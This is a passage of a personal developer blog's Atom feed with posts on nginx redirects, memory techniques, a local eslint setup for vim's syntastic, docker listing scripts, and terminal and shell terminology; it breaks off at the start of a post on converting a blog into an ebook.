&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  # error_page 404 /path/to/404.html&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  # Which will do a 301 redirect and not a 404&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Redirect root to www&lt;/h2&gt;
&lt;p&gt;Finally, one last trick to redirect all requests made to the root domain to its
www counterpart. Hosting a website directly on the root domain will cause issues
when you have to handle cookies. Cookies defined on a top domain will be send to
all requests targeting a subdomain. By hosting your website on the top domain,
you expose yourself to sending useless cookies to any subdomains you might
create.&lt;/p&gt;
&lt;p&gt;Therefore, it is better to host your website on a &lt;code&gt;www&lt;/code&gt; subdomain and redirect
any requests made to the root to the &lt;code&gt;www&lt;/code&gt; subdomain.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;server&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    server_name &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;pixelastic.com;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    rewrite&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ^ $&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;scheme://www.pixelastic.com&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$uri&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; permanent&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here was a short list of nginx tweaks. It&#39;s better published than sitting in my
draft folder.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Memory techniques</title>
    <link href="https://blog.pixelastic.com/2015/10/16/memory-techniques/"/>
    <updated>2015-10-16T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/10/16/memory-techniques</id>
    <content type="html">&lt;p&gt;&lt;em&gt;I recently gave a talk about memory techniques that I use. I&#39;m posting a
summary here for those that could not attend.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The memory I talked about had nothing to do with RAM, but with the memory inside
our brain. I read a book named &lt;em&gt;Moonwalking with Einstein&lt;/em&gt;, by Joshua Foer and
wanted to share what I learned from it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2015-10-16/moonwalking.jpg&quot; alt=&quot;Moonwalking with Einstein&quot;&gt;&lt;/p&gt;
&lt;p&gt;It tells the story of a journalist that met a memory champion. Like me, he did
not know that there were memory contests, and that one could become a champion
of it. Nevertheless, he learned several techniques from this champion and in one
year was able to enter the world contest himself.&lt;/p&gt;
&lt;p&gt;The book is really easy to read, it flows like a novel. But everytime a new
technique was explained, I tried it on my own brain, to see if this was working.&lt;/p&gt;
&lt;h2&gt;Mental images&lt;/h2&gt;
&lt;p&gt;The first one is not a technique in itself. It&#39;s the main brick upon which all
other techniques are based. The idea is to understand what our brain can do
effortlessly, and what is very hard for it to do. Once we know that, we&#39;ll stop
asking it to do hard stuff, and only focus on what it is naturally good at.&lt;/p&gt;
&lt;p&gt;There are three main elements that makes something easy to remember. First, if
it&#39;s unique, rare or weird, you&#39;ll remember it much more easily than something
common and mundane. Second, if you can see it, smell it, hear it, taste it or
touch it, than it feels more real and you&#39;ll remember it better. Finally, if it
makes you feel something, either joy, anger or sadness, you&#39;ll have personnaly
lived it, so you&#39;ll remember.&lt;/p&gt;
&lt;p&gt;Another really nice characteristic of our brain is that it can remember things
that never happened. You can close your eyes and imagine that a giant dinosaure
is walking down your street, breathing fire and burning buildings. This never
happens (and never will), but you can picture it. In a few days you might even
remember it.&lt;/p&gt;
&lt;h2&gt;Memory palace&lt;/h2&gt;
&lt;p&gt;The first real technique is called the Memory Palace. It uses one more thing for
which our brain is very powerful: spatial representation. You just have to spend
30s in an apartment you don&#39;t know to have an accurate representation of the
various rooms, their volume and how they are arranged together. For places
you&#39;ve visited often, this is even more powerful. You can just close your eyes
and mentally navigate in your childhood home, your apartement, or your job
place.&lt;/p&gt;
&lt;p&gt;So the Memory Palace is a way to remember an ordered list of elements, like a
grocery list. Instead of writing it down on a paper, close your eyes and
mentally walk inside your appartement, and put one element of your list in each
room. But do not simply picture you putting it in the room. Emphasize it.
Extrapolate it. Make it unforgettable.&lt;/p&gt;
&lt;p&gt;For example if you need to buy cheese and eggs, imagine that the walls and
ceiling of your kitchen have melting cheese all over them, or that all your
furnitures turned to Swiss cheese. Instead of putting 6 eggs in your living
room, picture them seated in your sofa, having a drink and a chat. The weirdest,
the better.&lt;/p&gt;
&lt;p&gt;Then, instead of reading your list, picture yourself walking in your
appartement, one room at a time, and the crazy mental images will pop from
memory directly. Try it if you don&#39;t trust me, it really works even on the first
try. The first time I did it I was able to remember a list of 20 elements easily
(my appartement is not that big, you can put several elements per room). The
best part is that I still remembered the list months later.&lt;/p&gt;
&lt;h2&gt;Spaced repetition&lt;/h2&gt;
&lt;p&gt;The second technique is called spaced repetition and is a way to not forget what
you learn. We&#39;ve all experienced it before. On an exam eve, you stay up late and
learn as much as you can in a short time. You remember most of it for the exam,
but then one week later, you&#39;ve forgotten everything.&lt;/p&gt;
&lt;p&gt;This happens because your short term memory will disappear if you do not call
it. The spaced repetition technique lets you remember things right before you
forgot them. I personnally use the AnkiDroid application for that.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2015-10-16/anki-03.png&quot; alt=&quot;Anki&quot;&gt;&lt;/p&gt;
&lt;p&gt;You create (or download) a deck of cards on a subject (all the countries of the
world and their flags for example). Each card of the deck is two-sided, with a
question on one side and the answer on the other. When you draw the first card
of the deck, you&#39;ll see the question. You mentally think the answer, then press
the &amp;quot;Ok&amp;quot; button to see the real answer.&lt;/p&gt;
&lt;p&gt;If you were right, we press the &amp;quot;Good&amp;quot; button and it will ask this same card
again the next day. If you&#39;re still right tomorrow, it will ask you in a few
days, then a week, a month, etc. But if you&#39;re wrong it will ask you again in
10mn until you got it right. Everyday it will add a few new cards to the one
you&#39;ve already seen.&lt;/p&gt;
&lt;p&gt;The one you&#39;ve trouble remembering will keep popping day after day until you
remember them. The one you remember easily will not be asked often.&lt;/p&gt;
&lt;p&gt;The best thing is not even that this works well, it&#39;s that it is really fun to
do. In one month (20mn in the subway every morning), I learned the whole
countries and flags decks. I found it so fun that I then started to learn their
capitals and the USA states and capitals.&lt;/p&gt;
&lt;p&gt;I would have loved to have known this technique when I was still a student. This
would have made my learning so much quicker and enjoyable. Knowing this
technique I am now confident that I can learn anything, given enough time, and
without pain.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This book told me how to write stuff to my brain so I can easily pull it later.
To be honest I rarely use this technique. I do my shopping online and can always
check stuff on Wikipedia if I forgot. But I&#39;m happy to know how my own brain is
working.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Use local eslint in syntastic</title>
    <link href="https://blog.pixelastic.com/2015/10/05/use-local-eslint-in-syntastic/"/>
    <updated>2015-10-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/10/05/use-local-eslint-in-syntastic</id>
    <content type="html">&lt;p&gt;&lt;a href=&quot;https://github.com/scrooloose/syntastic&quot;&gt;Syntastic&lt;/a&gt; is one of my favorite vim plugins. It helps me find code issues
in my code before committing. I heavily use it with &lt;a href=&quot;https://github.com/bbatsov/rubocop&quot;&gt;rubocop&lt;/a&gt; for Ruby and
&lt;a href=&quot;http://eslint.org/&quot;&gt;eslint&lt;/a&gt; for JavaScript code.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;npm-which&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;But by default, it uses the globally installed &lt;code&gt;eslint&lt;/code&gt;, and I want it to use
the locally installed one. So I wrote a small script, called &lt;code&gt;npm-which&lt;/code&gt; that
returns the path of the specified binary. If it can be found in the underlying
&lt;code&gt;node_modules&lt;/code&gt; binaries, it will return this one, otherwise it will revert to
the global one.&lt;/p&gt;
&lt;p&gt;The code takes advantage of the fact that every locally installed binary can be
found in &lt;code&gt;./node_modules/.bin&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env zsh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; npm_bin&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;npm&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; bin&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; bin_name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; local_path&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${npm_bin}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${bin_name}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[[&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $local_path&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ]]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $local_path&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;return&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; $(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;which&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $bin_name&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can find the up-to-date version &lt;a href=&quot;https://github.com/pixelastic/oroshi/blob/master/scripts/bin/npm-which&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Update the vim config&lt;/h2&gt;
&lt;p&gt;I then have to tell syntastic the explicit path to the binary using the
&lt;code&gt;b:syntastic_javascript_eslint_exec&lt;/code&gt; variable. I&#39;ll use a local &lt;code&gt;eslint&lt;/code&gt; if one
is installed, or revert to the global one otherwise. I put that in a
&lt;code&gt;after/ftplugins/javascript.vim&lt;/code&gt; file in my vim directory.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; b:syntastic_javascript_eslint_exec&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; StrTrim&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;system&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;npm-which eslint&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;StrTrim&lt;/code&gt; is a custom vim method that will trim any starting and trailing
whitespace from a vim string, and in my case the &lt;code&gt;system&lt;/code&gt; call was returning a
trailing weird &lt;code&gt;^@&lt;/code&gt; char.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;function!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; StrTrim&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;txt&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; substitute&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;a:txt&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;^&#92;n*&#92;s*&#92;(.&#92;{-}&#92;)&#92;n*&#92;s*$&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&#92;1&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;endfunction&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I can now use different &lt;code&gt;eslint&lt;/code&gt; versions and configurations, directly in vim,
depending on the current project I&#39;m working on.&lt;/p&gt;
&lt;p&gt;Edit: &lt;a href=&quot;https://twitter.com/mtscout6&quot;&gt;Matthew Smith&lt;/a&gt; packed all this into one &lt;a href=&quot;https://github.com/mtscout6/syntastic-local-eslint.vim&quot;&gt;neat Syntastic plugin&lt;/a&gt;.
Thanks Matthew!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Better listing of docker images and containers</title>
    <link href="https://blog.pixelastic.com/2015/09/29/better-listing-of-docker-images-and-container/"/>
    <updated>2015-09-29T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/09/29/better-listing-of-docker-images-and-container</id>
    <content type="html">&lt;p&gt;I recently started using Docker more and more for my development needs. I
struggled a bit at first with the difference between images and containers, and
all the relative commands (&lt;code&gt;build&lt;/code&gt;, &lt;code&gt;run&lt;/code&gt;, &lt;code&gt;stop&lt;/code&gt;, &lt;code&gt;start&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;One thing that I was really not happy about was the output of the &lt;code&gt;docker ps&lt;/code&gt;
and &lt;code&gt;docker images&lt;/code&gt; commands. It displays more information than I really need,
and it does not fit on small terminal screens.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2015-09-29/docker-ps-images-before.jpg&quot; alt=&quot;Default output&quot;&gt;&lt;/p&gt;
&lt;p&gt;So I started hacking a couple of wrapper scripts to provide a much better
display. And here is what I came up with:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2015-09-29/docker-ps-images-after.jpg&quot; alt=&quot;New output&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Show me the code&lt;/h2&gt;
&lt;p&gt;You can find the code for each wrapper script on GitHub
(&lt;a href=&quot;https://github.com/pixelastic/oroshi/blob/master/scripts/bin/docker-container-list&quot;&gt;docker-container-list&lt;/a&gt; and &lt;a href=&quot;https://github.com/pixelastic/oroshi/blob/master/scripts/bin/docker-image-list&quot;&gt;docker-image-list&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The idea behind each is basically the same. I get the initial output of the
command, parse it to extract the data that interests me, sort it, then display
it with colors.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;docker ps&lt;/code&gt; command has an optional argument of &lt;code&gt;--format&lt;/code&gt; that lets you
choose what kind of information you&#39;d like to display, using placeholders. The
documentation on that is not really great (some placeholders are not defined in
the doc), but overall this makes the parsing very easy.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;docker images&lt;/code&gt; command on the other hand does not provide such option, so I
resorted to split the output in ruby to get the data from the first three
columns.&lt;/p&gt;
&lt;p&gt;For the sorting of containers, I decided to display first the running
containers, then the stopped one. For images, this is a simple alphabetical
ordering first on the name, then on the tags.&lt;/p&gt;
&lt;p&gt;Then come the colors. I&#39;m already using some kind of similar wrappers for the
most common &lt;code&gt;git&lt;/code&gt; commands, and I&#39;m already using colors to display tags and
hashes, so I re-used those colors here. I tried to stay consistent and use the
same color for the same kind of data in both displays (images in yellow, hashes
in blue).&lt;/p&gt;
&lt;p&gt;I also prefixed each container with a small icon, telling me if the container is
currently running or is stopped. I use a &lt;a href=&quot;https://github.com/pixelastic/oroshi/blob/master/config/fonts/HackWithOcticons.ttf&quot;&gt;patched version&lt;/a&gt; of the &lt;a href=&quot;http://sourcefoundry.org/hack/&quot;&gt;Hack
font&lt;/a&gt; here, with &lt;a href=&quot;https://octicons.github.com/&quot;&gt;Octicons&lt;/a&gt; added.&lt;/p&gt;
&lt;h2&gt;Aliases&lt;/h2&gt;
&lt;p&gt;Of course, typing &lt;code&gt;docker-container-list&lt;/code&gt; and &lt;code&gt;docker-image-list&lt;/code&gt; is way too
long, so I aliased it to 4-letters aliases. I use &lt;code&gt;docl&lt;/code&gt; and &lt;code&gt;doil&lt;/code&gt;, that stands
for &lt;code&gt;do&lt;/code&gt;cker &lt;code&gt;c&lt;/code&gt;ontainer &lt;code&gt;l&lt;/code&gt; and &lt;code&gt;do&lt;/code&gt;cker &lt;code&gt;i&lt;/code&gt;mage &lt;code&gt;l&lt;/code&gt;ist.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2015-09-29/docker-ps-images-alias.jpg&quot; alt=&quot;Alias output&quot;&gt;&lt;/p&gt;
&lt;p&gt;I use this notation a lot in my aliases. They are inspired by vim and follow the
{Namespace}{Object}{Action} pattern. The Namespace part here is &lt;code&gt;do&lt;/code&gt; for
&lt;code&gt;docker&lt;/code&gt; (I also have namespaces aliases for &lt;code&gt;apt-get&lt;/code&gt;, &lt;code&gt;tmux&lt;/code&gt; or &lt;code&gt;git&lt;/code&gt; for
example). Then I use &lt;code&gt;i&lt;/code&gt; or &lt;code&gt;c&lt;/code&gt; for &lt;code&gt;i&lt;/code&gt;mages and &lt;code&gt;c&lt;/code&gt;ontainers. And finally &lt;code&gt;l&lt;/code&gt;
for &lt;code&gt;l&lt;/code&gt;ist.&lt;/p&gt;
&lt;p&gt;I plan to write another blog post on my &lt;code&gt;git&lt;/code&gt; aliases one day.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Difference between terminal, shell, prompt and command line</title>
    <link href="https://blog.pixelastic.com/2015/08/28/difference-between-terminal-shell-prompt-and-command-line/"/>
    <updated>2015-08-28T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/08/28/difference-between-terminal-shell-prompt-and-command-line</id>
    <content type="html">&lt;p&gt;When I started using Linux, the command line was a whole new world to me. The
differences between a terminal, a shell, a prompt and a command line were
absolutly lost on me.&lt;/p&gt;
&lt;p&gt;Now, a few years later, boundaries are much clearer. This post is an attempt at
clarifying them.&lt;/p&gt;
&lt;h2&gt;What is a terminal?&lt;/h2&gt;
&lt;p&gt;A terminal, or terminal emulator, is a software program that lets you interact
with the command line through your shell. The important part is that this is a
GUI program.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gnome-shell&lt;/code&gt; is the default terminal emulator on Ubuntu, while &lt;code&gt;iTerm&lt;/code&gt; is the
common choice in the Mac world (I think, I don&#39;t own a Mac). Other alternatives
include &lt;code&gt;rxvt&lt;/code&gt;, &lt;code&gt;termite&lt;/code&gt;, &lt;code&gt;terminology&lt;/code&gt; or &lt;code&gt;terminator&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;They all look like a dark screen where you type commands, but each adds its own
features and configuration. &lt;code&gt;terminology&lt;/code&gt; for example lets you play video or
music directly, and have some advanced visual effects.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;terminator&lt;/code&gt; is the one I used for a long time. It has a very useful feature
that lets you split your screen in different chunks, to avoid alt-tabbing all
the time and multi-task easily.&lt;/p&gt;
&lt;p&gt;In the end, the terminal emulator is just a wrapper around your shell.&lt;/p&gt;
&lt;h2&gt;What is a shell?&lt;/h2&gt;
&lt;p&gt;The shell is the program that reads your commands (like &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;pwd&lt;/code&gt;, etc) and
evaluate them. Shells are mostly used as REPL (Read, Eval, Print, Loop). Meaning
it is waiting for you to type something in its prompt and pressing &lt;code&gt;Enter&lt;/code&gt;. Then
it will evaluate the command and display a new prompt for you to type in a new
command.&lt;/p&gt;
&lt;p&gt;The most basic shell is simply named &lt;code&gt;sh&lt;/code&gt;, and the most common one is &lt;code&gt;bash&lt;/code&gt;.
Other shells (with names like &lt;code&gt;ksh&lt;/code&gt;, &lt;code&gt;zsh&lt;/code&gt; or &lt;code&gt;fish&lt;/code&gt;) also exists and provide
different features than &lt;code&gt;bash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you&#39;re writing shell scripts, different shells are like different scripting
languages (but they do share a common basis and most Unix shells you&#39;ll find
today are &lt;code&gt;bash&lt;/code&gt;-compatible). In your everyday life though, what a different
shell might bring you is clever tab-completion, output coloring, smart aliases,
etc.&lt;/p&gt;
&lt;p&gt;I&#39;m personnally using &lt;code&gt;zsh&lt;/code&gt;. It offers a really nice tab-completion (even
through distant &lt;code&gt;ssh&lt;/code&gt; connections), and let me greatly configure what my prompt
looks like. &lt;code&gt;oh-my-zsh&lt;/code&gt; is a very popular set of plugins to enhance the default
&lt;code&gt;zsh&lt;/code&gt; experience. I don&#39;t personnaly use it, but I&#39;ve seen countless person
using it.&lt;/p&gt;
&lt;p&gt;In the end, as all shells are just scripting languages, they are all able to do
pretty much the same thing. &lt;code&gt;bash&lt;/code&gt; as the huge advantage of being a standard and
available almost on any machine, while &lt;code&gt;zsh&lt;/code&gt; has a large library of plugins you
can download and install.&lt;/p&gt;
&lt;p&gt;In the end, the shell is where you&#39;ll spend most of your time. You should invest
some time into configuring it so you get faster on the command line.&lt;/p&gt;
&lt;h2&gt;What is a prompt?&lt;/h2&gt;
&lt;p&gt;The prompt is simply the line that is displayed in your shell when you type a
command. The default is usually something like &lt;code&gt;user@host:/path/ $&lt;/code&gt;. This gets
displayed at the start of each line and reminds you of who the current user is,
on which machine and in which path.&lt;/p&gt;
&lt;p&gt;After a while, you&#39;re so used to it that you stop seeing it. But such a basic
prompt is not very useful. I strongly encourage you to customise it to your
needs. As it will get displayd on every new command, it is a nice place to
display useful information.&lt;/p&gt;
&lt;p&gt;You can even add color to it, and also make use of what is known in &lt;code&gt;zsh&lt;/code&gt; as the
&lt;code&gt;RPROMPT&lt;/code&gt;, the prompt on the right.&lt;/p&gt;
&lt;p&gt;In my config, I display the path with a different color depending if I currently
have writing rights in it or not. I also color the &lt;code&gt;@&lt;/code&gt; in red if the previous
command returned an error code.&lt;/p&gt;
&lt;p&gt;When I&#39;m in a git repository, I also change the &lt;code&gt;$&lt;/code&gt; symbol to a &lt;code&gt;±&lt;/code&gt;, and color
it differently depending on the status of my current index (green if clean, red
if untracked files). I also display the current branch and tag in the right
prompt, as well as symbols to tell me if I need to push or pull.&lt;/p&gt;
&lt;p&gt;I spend a lot of time in the command line and in git repositories, and I don&#39;t
want to type &lt;code&gt;git status&lt;/code&gt; or &lt;code&gt;git branch&lt;/code&gt; too often. It is much better when this
information is displayed on my prompt. If you choose your colors well, your
brain will be able to parse the information really fast.&lt;/p&gt;
&lt;p&gt;In the end, the shell is the line that gets displayed whenever you need to type
a command. It is the best place to put output of commands you often type, so you
no longer have to.&lt;/p&gt;
&lt;h2&gt;What is a command line?&lt;/h2&gt;
&lt;p&gt;When someone tells you to &amp;quot;type something in the command line&amp;quot;, it actually
means &amp;quot;type something in your prompt, which is displayed by your shell, which is
loaded by your terminal emulator&amp;quot;. The command line is all this.&lt;/p&gt;
&lt;p&gt;At that moment, we don&#39;t really care about what your prompt looks like or if
you&#39;re using &lt;code&gt;ksh&lt;/code&gt; inside &lt;code&gt;rxvt&lt;/code&gt;. All we need to know is the output of the
command.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Hopefully, this made this a lot clearer for some of you. Next time, I&#39;ll try to
talk about &lt;code&gt;tmux&lt;/code&gt;, which is a new layer between the terminal and the shell.&lt;/p&gt;
&lt;p&gt;tags:&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Creating an ebook from a blog</title>
    <link href="https://blog.pixelastic.com/2015/08/23/creating-an-ebook-from-a-blog/"/>
    <updated>2015-08-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/08/23/creating-an-ebook-from-a-blog</id>
    <content type="html">&lt;p&gt;I recently stumbled upon a blog with very nice articles. I didn&#39;t have time to
read them on the screen at that moment, but would have loved to be able to read
them at my own pace on my Kindle later.&lt;/p&gt;
&lt;p&gt;So I started my terminal and with a few commands was able to convert the whole
blog into a &lt;code&gt;mobi&lt;/code&gt; file that I could load inside my Kindle.&lt;/p&gt;
&lt;p&gt;Here is how I did it. This might give you and idea of how to solve the same kind
of problem on your own.&lt;/p&gt;
&lt;h2&gt;Download html pages&lt;/h2&gt;
&lt;p&gt;Fortunatly, the blog I was reading had all its content displayed on only two
pages. Each page listed about 10 posts, then I had to go to the next page. The
blog was using the &lt;a href=&quot;https://wordpress.com/themes/manifest/&quot;&gt;manifest&lt;/a&gt; Wordpress
theme, and was hosted on &lt;a href=&quot;https://wordpress.com/&quot;&gt;wordpress.com&lt;/a&gt;. So I guess it
was a really simple installation, with no custom plugins.&lt;/p&gt;
&lt;p&gt;The blog itself was using some kind of javascript request to load the whole
content as I scroll, but I could access real pagination using the &lt;code&gt;/page/2/&lt;/code&gt;
url.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; wget&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; https://blogexample.wordpress.com/&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -O&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; index.html&lt;/span&gt;&lt;/span&gt;
